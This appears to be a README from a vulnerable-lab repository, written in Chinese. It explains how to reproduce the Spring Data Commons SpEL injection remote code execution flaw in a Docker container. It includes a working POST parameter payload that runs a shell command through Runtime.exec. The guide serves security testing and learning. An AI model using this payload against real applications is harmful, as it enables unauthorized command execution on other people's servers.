Skip to content

Latest commit

 

History

History
 
 

vultarget

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

spring data commons RCE漏洞

漏洞描述

spring data commons RCE漏洞

Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

version:1.3.10

启动

docker-compose up -d

该镜像拉取时间较长,执行完命令约几分钟后访问http://localhost:8080/account,出现如下即为启动成功。

ALT 1

writeup

更改请求方式为POST,传输payload,其中exec处为命令。payload:

name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/sucess')]=test

复现结果

ALT 1

ALT 1